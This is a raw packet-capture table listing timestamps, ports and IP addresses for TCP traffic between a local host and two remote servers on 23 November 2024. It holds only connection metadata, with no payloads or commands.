Nov 23, 2024 18:22:11.671976089 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.672014952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.672981024 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.673070908 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.673094988 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.673151970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.674103022 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.674221992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.674323082 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.675210953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.675307989 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.675337076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.675388098 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.676351070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.676453114 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.676456928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.676498890 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.677396059 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.677469969 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.677494049 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.677546024 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.678519964 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.678567886 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.678637981 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.678678989 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.679622889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.679738045 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.679786921 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.680675983 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.680810928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.704967976 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.705045938 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.705101967 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.705322981 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.705343962 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.705354929 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.705360889 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.707782984 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.707834959 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.707947969 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.708113909 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.708129883 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.817399979 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.817490101 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.817687988 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.817759991 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.817819118 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.817929029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.817940950 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818084002 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.818511009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818559885 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.818660021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818725109 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.818881035 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818897009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818916082 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818928003 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.818943977 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.818943977 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.818984032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.819052935 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.819127083 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.819158077 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.819216013 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.819992065 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.820039988 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.820063114 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.820120096 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.821142912 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.821192980 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.821193933 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.821290970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.822021961 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.822113991 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.822144985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.822186947 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.823067904 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.823117018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.823184967 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.823278904 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.825014114 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.825069904 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.826050997 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.826112032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.827404976 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.827415943 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.827454090 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.827472925 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.827475071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.827486992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.827500105 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.827524900 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.827524900 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.827605009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.828031063 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.828088999 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.828109026 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.828162909 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.829041004 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.829086065 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.829138994 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.829195023 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.830082893 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.830125093 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.830157042 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.830224991 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.831011057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.831059933 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.831193924 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.831247091 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.832037926 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.832079887 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.832178116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.832252979 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.833024979 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.833096981 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.833154917 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.833260059 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.834044933 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.834106922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.834124088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.834230900 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.835000038 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.835053921 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.835112095 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.835167885 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.835989952 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.836062908 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.836088896 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.836174965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.837003946 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.837055922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.837106943 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.837204933 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.838005066 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.838073015 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.838095903 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.838202000 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.839032888 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.839078903 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.839147091 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.839200020 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.840014935 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.840055943 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.840104103 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.840154886 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.841027021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.841080904 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.841099977 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.841156006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.841995955 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.842088938 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.842108965 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.842161894 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.843036890 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.843089104 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.843156099 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.843211889 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.844017982 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.844060898 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.844118118 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.844162941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.845031977 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.845113993 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.845134974 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.845159054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.846019983 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.846067905 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.846120119 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.846167088 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.846978903 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.847023964 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.847106934 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.847150087 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.847995043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.848041058 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.848125935 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.848170996 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.849014997 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.849092960 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.849189043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.849232912 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.850001097 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.850075960 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.850100040 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.850136995 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.850996971 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.851051092 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.851150036 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.851217031 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.851984978 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.852067947 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.852101088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.852174044 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.853003025 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.853050947 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.853117943 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.853173018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.854052067 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.854126930 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.854146004 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.854177952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.855004072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.855050087 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.855112076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.855159998 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.856019020 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.856072903 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.856096029 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.856137037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.857002974 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.857104063 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.857110977 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.857156038 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.858042002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.858088017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.858141899 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.858194113 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.859080076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.859153986 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.859163046 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.859256029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.860037088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.860090971 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.860116005 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.860214949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.861013889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.861057997 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.861140013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.861183882 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.862003088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.862111092 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.862189054 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.862232924 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.863023996 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.863102913 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.863115072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.863235950 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.864065886 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.864141941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.864167929 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.864273071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.865010977 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.865047932 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.865118980 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.865168095 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.866008997 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.866091967 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.866092920 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.866142988 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.866991043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.867037058 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.869549990 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.869631052 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.869744062 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.869807005 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.869807005 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.869863987 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.869891882 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.871764898 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.871802092 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:11.871855021 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.871953011 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:11.871967077 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.006809950 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.007083893 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.007175922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.007230043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.007299900 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.007375002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.007445097 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.008338928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.008398056 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.008430004 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.008482933 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.009267092 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.009332895 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.009370089 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.009423018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.010304928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.010346889 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.010353088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.010404110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.011303902 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.011354923 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.011528015 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.011586905 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.012269020 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.012321949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.012356043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.012411118 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.013262033 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.013330936 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.013362885 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.013478041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.014283895 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.014326096 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.014354944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.014472008 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.015256882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.015319109 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.015388966 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.015455961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.016299009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.016311884 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.016397953 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.017313957 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.017371893 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.017417908 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.017468929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.018261909 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.018333912 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.018367052 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.018416882 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.019306898 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.019366026 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.019478083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.019572973 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.020284891 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.020381927 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.020440102 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.021259069 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.021306038 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.021373034 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.021440029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.022254944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.022345066 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.022355080 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.022402048 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.023252010 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.023336887 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.023367882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.023418903 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.024259090 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.024308920 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.024343014 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.024391890 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.025252104 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.025346994 CET	80	49755	185.215.113.16	192.168.2.4
